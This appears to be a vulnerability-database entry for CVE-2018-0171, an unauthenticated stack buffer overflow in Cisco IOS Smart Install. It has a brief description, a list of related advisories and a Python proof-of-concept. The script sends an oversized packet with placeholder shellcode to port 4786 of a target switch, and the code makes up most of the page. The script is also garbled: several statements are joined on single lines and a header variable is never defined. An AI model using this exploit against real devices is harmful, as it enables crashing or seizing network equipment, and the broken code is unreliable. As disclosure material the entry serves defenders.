Cisco Smart Install Remote Code Execution(CVE-2018-0171)

🗓️ 29 Mar 2018 00:00:00Reported by RootType

seebug🔗 www.seebug.org👁 1940 Views

Smart Install Client code has stack-based buffer overflow vulnerability, allowing remote code execution without authentication. It affects Cisco IOS and IOS-XE, with potential to gain full control over network equipment

Reporter	Title	Published	Views	Family All 37
GithubExploit	Exploit for Improper Input Validation in Cisco Ios	1 Feb 202303:51	–	githubexploit
ICS	2021 Top Routinely Exploited Vulnerabilities	28 Apr 202212:00	–	ics
ICS	People’s Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices	10 Jun 202212:00	–	ics
ICS	Rockwell Automation Stratix and ArmorStratix Switches	17 Apr 201800:00	–	ics
ICS	ICSA-18-107-05_Rockwell Automation Stratix Industrial Managed Ethernet Switch	17 Apr 201800:00	–	ics
ATTACKERKB	CVE-2018-0171	28 Mar 201800:00	–	attackerkb
Information Security Automation	Is Vulnerability Management more about Vulnerabilities or Management?	11 Feb 202013:46	–	avleonov
Circl	CVE-2018-0171	29 Mar 201804:00	–	circl
CISA KEV Catalog	Cisco IOS and IOS XE Software Smart Install Remote Code Execution Vulnerability	3 Nov 202100:00	–	cisa_kev
Cisco	Cisco IOS and IOS XE Software Smart Install Remote Code Execution Vulnerability	28 Mar 201816:00	–	cisco


                                                # smi_ibc_init_discovery_BoF.py

import socket 
import struct 
from optparse import OptionParser 

# Parse the target options 
parser = OptionParser() 
parser.add_option("-t", "--target", dest="target", help="Smart Install Client", default="192.168.1.1")  parser.add_option("-p", "--port", dest="port", type="int", help="Port of Client", default=4786)  (options, args) = parser.parse_args() 

def craft_tlv(t, v, t_fmt='!I', l_fmt='!I'): 
    return struct.pack(t_fmt, t) + struct.pack(l_fmt, len(v)) + v 

def send_packet(sock, packet): 
    sock.send(packet)   

def receive(sock):  
    return sock.recv() 

if __name__ == "__main__": 

    print "[*] Connecting to Smart Install Client ", options.target, "port", options.port 

    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    con.connect((options.target, options.port)) 

    payload = 'BBBB' * 44  shellcode = 'D' * 2048 

    data = 'A' * 36 + struct.pack('!I', len(payload) + len(shellcode) + 40) + payload 

    tlv_1 = craft_tlv(0x00000001, data)  tlv_2 = shellcode 

    pkt = hdr + tlv_1 + tlv_2 

    print "[*] Send a malicious packet"  send_packet(con, pkt)

29 Mar 2018 00:00Current

0.1Low risk

Vulners AI Score0.1

EPSS0.92901